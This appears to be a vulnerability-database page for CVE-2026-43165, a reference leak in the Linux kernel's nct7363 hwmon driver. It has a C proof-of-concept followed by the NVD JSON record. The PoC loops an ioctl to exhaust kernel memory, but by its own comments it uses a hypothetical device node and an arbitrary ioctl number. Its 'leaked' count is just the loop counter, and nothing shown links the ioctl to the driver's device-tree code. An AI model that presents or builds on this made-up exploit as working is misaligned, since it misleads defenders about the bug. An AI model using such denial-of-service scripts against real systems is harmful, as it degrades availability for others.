CVE-2026-43165

/* * PoC for CVE-2026-43165: Resource Leak in nct7363 * This code demonstrates the logic leading to the leak. * Actual exploitation requires specific hardware and kernel interaction. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/nct7363" // Hypothetical device node // Structure to trigger the vulnerable function path struct fanin_args { int fan_id; }; int main() { int fd; struct fanin_args args; fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting PoC for CVE-2026-43165...\n"); // Repeatedly call the ioctl/function that triggers // nct7363_present_pwm_fanin to leak resources for (int i = 0; i < 10000; i++) { args.fan_id = i; // This ioctl would eventually lead to the vulnerable function if (ioctl(fd, 0x8001, &args) < 0) { // Arbitrary ioctl number perror("Ioctl failed"); break; } if (i % 1000 == 0) { printf("Leaked resources count: %d\n", i); } } close(fd); printf("PoC completed. Check kernel memory usage (slab).\n"); return 0; }

{"cve": {"id": "CVE-2026-43165", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:34.687", "lastModified": "2026-05-13T21:21:50.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (nct7363) Fix a resource leak in nct7363_present_pwm_fanin\n\nWhen calling of_parse_phandle_with_args(), the caller is responsible\nto call of_node_put() to release the reference of device node.\nIn nct7363_present_pwm_fanin, it does not release the reference,\ncausing a resource leak."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/4923bbff0bcffe488b3aa76829c829bd15b02585", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c8cde3ddd12ad7d0e6b5a3e0ea3914a9a778adf4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fb99b58763a95e20b214fc1dd86837ae00a400b7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}